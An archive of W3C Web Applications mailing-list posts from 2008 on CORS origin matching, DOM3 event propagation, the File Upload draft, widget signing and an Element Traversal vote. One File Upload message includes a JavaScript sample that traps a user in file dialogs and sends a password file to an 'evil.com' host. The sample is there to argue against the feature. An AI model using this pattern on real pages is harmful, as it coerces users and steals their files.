Re: XDomainRequest Integration with AC
Anne van Kesteren wrote: On Wed, 30 Jul 2008 18:19:20 +0200, Jonas Sicking [EMAIL PROTECTED] wrote: Please note that Access-Control-Allow-Origin: url is also allowed syntax. Where the url must contain only scheme, [host, and port]. So the following syntax is allowed: Access-Control-Allow-Origin: http://example.com It is somewhat unclear if the following syntaxes are allowed: Access-Control-Allow-Origin: http://example.com/ Access-Control-Allow-Origin: http://example.com/? Access-Control-Allow-Origin: http://example.com/# Access-Control-Allow-Origin: http://example.com/; I think the first one should be ok, but not the other three. I think all of these should be disallowed. My plan is to simply require Access-Control-Allow-Origin to hold the ASCII serialization of an origin (see HTML5) and have a literal comparison of that with the value of Origin. This would be quite strict, but should be fine I think. That is fine, though I'm inclined to think that the trailing slash should be allowed in the HTML5 syntax for an origin. / Jonas
Re: ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events]
On Thu, 7 Aug 2008, Jonas Sicking wrote: Ian Hickson wrote: On Thu, 7 Aug 2008, Olli Pettay wrote: Could we actually just say that if document implements DocumentView interface and .defaultView isn't null and implements EventTarget, the event propagates to .defaultView. So in that case defaultView becomes the root of the event target chain (if the target of the event is bound to document). No need to mention Window, since AbstractView is already defined in DOM2 Views[1]. HTML5 defines that AbstractView must also implement Window and EventTarget interfaces. [2] Fine by me, so long as the result is compatible with most UAs. One very unfortunate thing is that if i recall correctly the Window object never takes part in the EventTarget chain for the 'load' event. But does for all other events. This was because a lot of sites broke when we tried to bubble 'load' to the Window. Is that any load event, or only specific load events? (i.e. is it a characteristic of the bubbling/capture process, or the events that are fired by certain circumstances like the end of parsing or an image being fetched from the network?) If the latter, it would be useful if the DOM3 Events spec could provde a hook for the HTML5 spec to annotate certain events as being affected by this exception. -- Ian Hickson U+1047E)\._.,--,'``.fL http://ln.hixie.ch/ U+263A/, _.. \ _\ ;`._ ,. Things that are impossible just take longer. `._.-(,_..'--(,_..'`-.;.'
File Upload Status ?
The File object is useful for uploading files via XHR. It provides functionality for data to be retrieved from a file submitted to a formusing the input type file. It is currently a Working Draft: http://www.w3.org/TR/file-upload/ http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html Implemented differently in Firefox 3. http://developer.mozilla.org/en/docs/nsIDOMFile https://bugzilla.mozilla.org/show_bug.cgi?id=371432 An example in Firefox 3: http://dhtmlkitchen.com/ape/example/form/Form.html It is a useful feature for in-page file upload, without resorting toIFRAME hackery. What is the status of File Upload? Firefox 3's implementation is different than the w3c working draft.The spec author seems to have abandoned that, so now there's a working draft which seems to be collecting dust for a couple of years. What is going on with File Upload specification? It would be a useful feature, but with only a half-legged attempt at a spec that the author abandoned, and a different implementation in Firefox 3, other browsers probably won't implement this functionality any time soon. It's useful in Firefox 3, and would be even better if there were some mime-type sniffing (mediaType). There seems to be a need for failing test cases,, so implementations can fill in the ???'s. Any other suggestions for getting this thing done? Garrett
Re: ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events]
Ian Hickson wrote: On Thu, 7 Aug 2008, Jonas Sicking wrote: Ian Hickson wrote: On Thu, 7 Aug 2008, Olli Pettay wrote: Could we actually just say that if document implements DocumentView interface and .defaultView isn't null and implements EventTarget, the event propagates to .defaultView. So in that case defaultView becomes the root of the event target chain (if the target of the event is bound to document). No need to mention Window, since AbstractView is already defined in DOM2 Views[1]. HTML5 defines that AbstractView must also implement Window and EventTarget interfaces. [2] Fine by me, so long as the result is compatible with most UAs. One very unfortunate thing is that if i recall correctly the Window object never takes part in the EventTarget chain for the 'load' event. But does for all other events. This was because a lot of sites broke when we tried to bubble 'load' to the Window. Is that any load event, or only specific load events? (i.e. is it a characteristic of the bubbling/capture process, or the events that are fired by certain circumstances like the end of parsing or an image being fetched from the network?) If the latter, it would be useful if the DOM3 Events spec could provde a hook for the HTML5 spec to annotate certain events as being affected by this exception. I think it is all 'load' events except the one fired for the finished load of the actual page. I.e. loads for images, stylesheets, plugins, etc had to not reach the Window object. I'm uncertain if iframe loads reach the Window or not. / Jonas
Re: ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events]
Jonas Sicking wrote: Ian Hickson wrote: On Thu, 7 Aug 2008, Olli Pettay wrote: Could we actually just say that if document implements DocumentView interface and .defaultView isn't null and implements EventTarget, the event propagates to .defaultView. So in that case defaultView becomes the root of the event target chain (if the target of the event is bound to document). No need to mention Window, since AbstractView is already defined in DOM2 Views[1]. HTML5 defines that AbstractView must also implement Window and EventTarget interfaces. [2] Fine by me, so long as the result is compatible with most UAs. One very unfortunate thing is that if i recall correctly the Window object never takes part in the EventTarget chain for the 'load' event. But does for all other events. This was because a lot of sites broke when we tried to bubble 'load' to the Window. / Jonas Sure, load events are special case, like mentioned in http://www.whatwg.org/specs/web-apps/current-work/#events0. Because of web compatibility the load event which is dispatched when a page is loaded has also other quirks, at least in gecko; it is dispatched to window, but its target is document. But in usual case events should propagate to .defaultView -Olli
Re: ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events]
On Fri, 8 Aug 2008, Jonas Sicking wrote: Is that any load event, or only specific load events? (i.e. is it a characteristic of the bubbling/capture process, or the events that are fired by certain circumstances like the end of parsing or an image being fetched from the network?) If the latter, it would be useful if the DOM3 Events spec could provde a hook for the HTML5 spec to annotate certain events as being affected by this exception. I think it is all 'load' events except the one fired for the finished load of the actual page. I.e. loads for images, stylesheets, plugins, etc had to not reach the Window object. I'm uncertain if iframe loads reach the Window or not. Would we want this to affect even author-dispatched synthetic load events? -- Ian Hickson U+1047E)\._.,--,'``.fL http://ln.hixie.ch/ U+263A/, _.. \ _\ ;`._ ,. Things that are impossible just take longer. `._.-(,_..'--(,_..'`-.;.'
Re: ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events]
On Aug 7, 2008, at 11:27 PM, Jonas Sicking wrote: Ian Hickson wrote: On Thu, 7 Aug 2008, Olli Pettay wrote: Could we actually just say that if document implements DocumentView interface and .defaultView isn't null and implements EventTarget, the event propagates to .defaultView. So in that case defaultView becomes the root of the event target chain (if the target of the event is bound to document). No need to mention Window, since AbstractView is already defined in DOM2 Views[1]. HTML5 defines that AbstractView must also implement Window and EventTarget interfaces. [2] Fine by me, so long as the result is compatible with most UAs. One very unfortunate thing is that if i recall correctly the Window object never takes part in the EventTarget chain for the 'load' event. But does for all other events. This was because a lot of sites broke when we tried to bubble 'load' to the Window. I think it is best to special-case the 'load' event. We have this same quirk in WebKit. Regards, Maciej
Re: XDomainRequest Integration with AC
Anne van Kesteren wrote: On Fri, 08 Aug 2008 08:28:48 +0200, Jonas Sicking [EMAIL PROTECTED] wrote: Anne van Kesteren wrote: My plan is to simply require Access-Control-Allow-Origin to hold the ASCII serialization of an origin (see HTML5) and have a literal comparison of that with the value of Origin. This would be quite strict, but should be fine I think. That is fine, though I'm inclined to think that the trailing slash should be allowed in the HTML5 syntax for an origin. That would would preclude string comparison though and require something less trivial. How would that preclude string comparison? (- http://greenbytes.de/tech/webdav/rfc3986.html#comparison-string) BR, Julian
Re: XDomainRequest Integration with AC
On Fri, 08 Aug 2008 11:20:44 +0200, Julian Reschke [EMAIL PROTECTED] wrote: Anne van Kesteren wrote: On Fri, 08 Aug 2008 08:28:48 +0200, Jonas Sicking [EMAIL PROTECTED] wrote: Anne van Kesteren wrote: My plan is to simply require Access-Control-Allow-Origin to hold the ASCII serialization of an origin (see HTML5) and have a literal comparison of that with the value of Origin. This would be quite strict, but should be fine I think. That is fine, though I'm inclined to think that the trailing slash should be allowed in the HTML5 syntax for an origin. That would would preclude string comparison though and require something less trivial. How would that preclude string comparison? (- http://greenbytes.de/tech/webdav/rfc3986.html#comparison-string) If it is merely allowed and not always there you can't perform string comparison but instead have to strip the trailing slash first or something like that, etc. -- Anne van Kesteren http://annevankesteren.nl/ http://www.opera.com/
Re: XDomainRequest Integration with AC
On Fri, 08 Aug 2008 11:38:55 +0200, Jonas Sicking [EMAIL PROTECTED] wrote: String comparison is not going to be ok either way. The following two origins are equivalent: http://www.foo.com http://www.foo.com:80 My proposal was to treat those as non-equivalent. Basically, to require Access-Control-Allow-Origin to have the same value as Origin. (It seems that Ian has used this approach for WebSocket as well.) -- Anne van Kesteren http://annevankesteren.nl/ http://www.opera.com/
Re: File Upload Status ?
Garrett Smith wrote:
The File object is useful for uploading files via XHR. It provides
functionality for data to be retrieved from a file submitted to a
formusing the input type file.
It is currently a Working Draft:
http://www.w3.org/TR/file-upload/
http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html
Implemented differently in Firefox 3.
http://developer.mozilla.org/en/docs/nsIDOMFile
https://bugzilla.mozilla.org/show_bug.cgi?id=371432
An example in Firefox 3:
http://dhtmlkitchen.com/ape/example/form/Form.html
It is a useful feature for in-page file upload, without resorting
toIFRAME hackery.
What is the status of File Upload?
Firefox 3's implementation is different than the w3c working draft.The
spec author seems to have abandoned that, so now there's a working
draft which seems to be collecting dust for a couple of years.
What is going on with File Upload specification? It would be a useful
feature, but with only a half-legged attempt at a spec that the author
abandoned, and a different implementation in Firefox 3, other browsers
probably won't implement this functionality any time soon. It's useful
in Firefox 3, and would be even better if there were some mime-type
sniffing (mediaType).
There seems to be a need for failing test cases,, so implementations
can fill in the ???'s. Any other suggestions for getting this thing
done?
The spec only really supplies one feature over what Firefox 3 has: The
ability to open a file dialog strictly from Javascript without any UI
objects involved.
I'm not sure if this is a super desirable feature from a security point
of view. Technically speaking a site could take a users browser hostage
unless the user agrees to give up a sensitive file:
function checkForFile(e) {
if (!e || !fileIsPasswordFile(e.fileList[0])) {
alert(Give me your passw0rd file!);
var fd = new FileDialog();
fd.addEventListenerNS(
http://www.w3.org/ns/fs-event#;, files-selected, checkForFile,
false);
fd.open();
}
else {
xhr = new XMLHttpRequest();
xhr.open(GET, http://evil.com/passwordsaver.cgi;, false);
xhr.send(e.fileList[0]);
}
}
checkForFile();
Granted, there are certainly many ways to DoS a browser already
(while(1) alert('ha');) but the above is somewhat more sinister.
/ Jonas
RE: [widgets] OMTP input to W3C Widget Requirements (1 of 2)
Hello all, See below some comments to the OMTP input regarding widget signing. I hope it is useful. Regards /Olli A conforming specification SHALL specify the expected behaviour when multiple signatures and certificate chains are provided. The ability to sign by multiple entity keys was part of the original input paper regarding widget signing format. I understand it was removed later by the wg presumably because of lack of a compelling use case or anticipated practice. So, OMTP now considers there is a use case. Background is that this is supported in MIDP2. It would be interesting to know if signing by multiple entity keys has really been deployed so it would be worth the effort to support in the web widget scenarios. This SHALL include a means of declaring the APIs that a widget expects to access. A conforming specification SHALL provide a means to verify the authenticity and integrity of security declarations included in the widget resource. I think having a declaration of critical APIs that the widget will access is a good requirement. Now there is allow plugins, allow files, allow network in the access element. But it should be possible to declare all APIs in some way. Of course this is tricky if the APIs are not specified. Perhaps some means for organizations and vendors to allocate access flags for their APIs. R38. Additional Digital Certificates We suggest that the requirement is re-worded along the following lines A conforming specification SHOULD define mechanisms to enable end-users to install additional root certificates, provided this is compatible with the security policy of the widget processing environment. This makes sense for the overall picture. I just that a widget signing spec should not deal too much with handling root certificates since this is a general PKI issue. We suggest that the reference for X.509 is updated as follows: X.509 RFC 3280: Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile, R. Housley. IETF, April 2002. Available at: http://www.ietf.org/rfc/rfc3280.txt Makes sense. RFC3820 (or its successor RFC5280) is a practical, internet and interoperability oriented profile of X.509 whereas X.509 alone is a generic format specification. RXX. Signature Document Independence A conforming specification MUST specify the digital signature format in such a way that the signature value(s) and associated certificate chain(s) can be used independently of the widget resource that is covered by the digital signature. A conforming specification SHOULD provide guidelines for how the signature(s) and certificate chain(s) can be used separately from a widget resource. A conforming specification SHOULD specify a means to provide the independent signature document in conjunction with the independent configuration document (see R23). This independent use of signature and declarations would be similar as there is in MIDP: first get the the declarations and signature and only if everything goes well get the whole package. I have assumed it would be simpler for deployment just to deliver a single package. Note however that independent signature is in principle possible even with the existing widget signature format spec: first deliver the configuration document and the signature files (extract them from the zip); then deliver the entire zip. RXX. Independence of Non-Security Critical Information from Digital Signature A conforming specification SHOULD make it possible to change non-security critical information associated to the widget resource without having to re-sign the widget resource. The non-security critical information may or may not be included in the widget package. A conforming specification SHALL specify which information can be considered non-security critical. A conforming specification SHOULD specify a means to provide this non-security critical information in conjunction with the independent configuration document (see R23). The original widget signing input paper had the feature of possible partial signing, i.e. leaving some non-critical information unsigned. Of course then partial signing semantics would need to be clearly stated. Combining signed and unsigned information always has its risks. Of course it is also possible to have the additional information outside the widget, e.g. as part of the download web page. RXX. Support for Multiple Message Digest Algorithms A conforming specification SHALL specify that where the integrity of data is protected using a message digest, it SHALL be possible to use the SHA-1 message digest algorithm and SHALL be possible to use the SHA-256 message digest algorithm. This is good, even if SHA-1 weaknesses would be of academic nature. It would mean that widget user agent implementations would need to support both algorithms (even if everybody would just use SHA-1 :-) RXX. Support for Multiple Signature Algorithms
Re: XDomainRequest Integration with AC
Jonas Sicking wrote: Anne van Kesteren wrote: On Fri, 08 Aug 2008 11:38:55 +0200, Jonas Sicking [EMAIL PROTECTED] wrote: String comparison is not going to be ok either way. The following two origins are equivalent: http://www.foo.com http://www.foo.com:80 My proposal was to treat those as non-equivalent. Basically, to require Access-Control-Allow-Origin to have the same value as Origin. The downside with doing that is that we can't use the same syntax for Access-Control as for postMessage. (Yes, I'm still intending to get postMessage fixed, haven't had time yet though). Not sure how big the value is in that though... The big worry I have though is if there is any possibility to puny encode the same origin in multiple ways (other than with or without default port). This could lead to different UAs encoding the same origin in different ways, which could lead to interoperability issues if sites rather than echoing the 'Origin' header always send out a static value for the Access-Control-Allow-Origin header. In general, I don't think it's a lot of work to require a strict same-origin check. All browsers should have such an algorithm implemented anyway. / Jonas
Fwd: File Upload Status ?
(put back on list) On Fri, Aug 8, 2008 at 2:56 AM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: The File object is useful for uploading files via XHR. It provides functionality for data to be retrieved from a file submitted to a formusing the input type file. It is currently a Working Draft: http://www.w3.org/TR/file-upload/ http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html Implemented differently in Firefox 3. http://developer.mozilla.org/en/docs/nsIDOMFile https://bugzilla.mozilla.org/show_bug.cgi?id=371432 An example in Firefox 3: http://dhtmlkitchen.com/ape/example/form/Form.html It is a useful feature for in-page file upload, without resorting toIFRAME hackery. What is the status of File Upload? Firefox 3's implementation is different than the w3c working draft.The spec author seems to have abandoned that, so now there's a working draft which seems to be collecting dust for a couple of years. What is going on with File Upload specification? It would be a useful feature, but with only a half-legged attempt at a spec that the author abandoned, and a different implementation in Firefox 3, other browsers probably won't implement this functionality any time soon. It's useful in Firefox 3, and would be even better if there were some mime-type sniffing (mediaType). There seems to be a need for failing test cases,, so implementations can fill in the ???'s. Any other suggestions for getting this thing done? The spec only really supplies one feature over what Firefox 3 has: The ability to open a file dialog strictly from Javascript without any UI objects involved. That is not the difference I was talking about. The differences are that Firefox 3 has three different methods that don't exist in the WD and the WD has three methods that aren't implemented (or are renamed) in FF3. Also, FF3 does not implement the mediaType. That would seem to be useful to have implemented because it could allow for faster notification of user errors. Firefox 3: File fileName fileSize getAsBinary() getAsDataURL() getAsText() Working Draft: File readonly attribute DOMString fileName; readonly attribute DOMString mediaType; readonly attribute unsigned long fileSize; DOMString getDataAsString() raises(FileException); DOMString getDataAsBase64() raises(FileException); DOMString getDataAsHexBinary() (regarding FileDialog) I'm not sure if this is a super desirable feature from a security point of view. Technically speaking a site could take a users browser hostage unless the user agrees to give up a sensitive file: Thanks for pointing that out. That's pretty nasty. It's a good case for removing FileDialog. What is the use case for FileDialog that can't be fulfilled by the browse button? Garrett / Jonas
Re: Fwd: File Upload Status ?
On Fri, Aug 8, 2008 at 2:28 PM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: Sounds like your usecase is a good one, please file a bug to get this implemented in firefox. Done: https://bugzilla.mozilla.org/show_bug.cgi?id=449880 Not depending on HTML i suspect. But that's a guess. In general I definitely support having the File object specified. Not sure how big of a fan I am of the other parts of the current spec though. But I don't have very strong feelings either way as of yet. The 'files-selected' Event and FilesSelectionEvent Interface: * Seems unnecessary. The change event can do just fine there. The file object can grab event.target and get the FileList off that, e.g. e.target.files. Can this be removed from the API? FileDialog: * Are there strong reasons for keeping FileDialog? The FileDialog interface can always be added on later in another version. The feature seems to need some security aspects to address the DoS issue Jonas brought up. Integration with XMLHttpRequest * If an XMLHttpRequest is going to accept a File, then ideally it would provide an easy way to detect this feature. This seems to be a feature for XHR. For here, an example should suffice (when the XHR spec includes the functionality). Garrett / Jonas
[wbs] response to 'Do you approve advancing the Element Traversal spec to Candidate Recommendation?'
The following answers have been successfully submitted to 'Do you approve advancing the Element Traversal spec to Candidate Recommendation?' (Web Applications Working Group) for Cameron McCormack. - Do you approve advancing the Element Traversal spec to Candidate Recommendation? Do you approve advancing the Element Traversal spec to Candidate Recommendation? * (x) Yes * ( ) No Rationale: Comments (or a URI pointing to your comments): Some suggested changes: * In section 2, in 'must also implement Element Traversal' replace 'Element Traversal' with 'a href=#interface-elementTraversalcodeElementTraversal/code/a'. * s/encounteres/encounters/ * In section 2.5, s/evocation of/accessing/ * In section 3.1, put a space after the second '//' in the example. * In appendix C, remove the publics from each method; public is always implied on an interface in Java. * The entries in the References appendix should be updated to use the familiar bibliographic format suggested by the W3C Manual of Style (http://www.w3.org/2001/06/manual/#ref-section). These answers were last modified on 9 August 2008 at 03:19:19 U.T.C. by Cameron McCormack Answers to this questionnaire can be set and changed at http://www.w3.org/2002/09/wbs/42538/ET-Advance-2-CR/ until 2008-08-08. Regards, The Automatic WBS Mailer
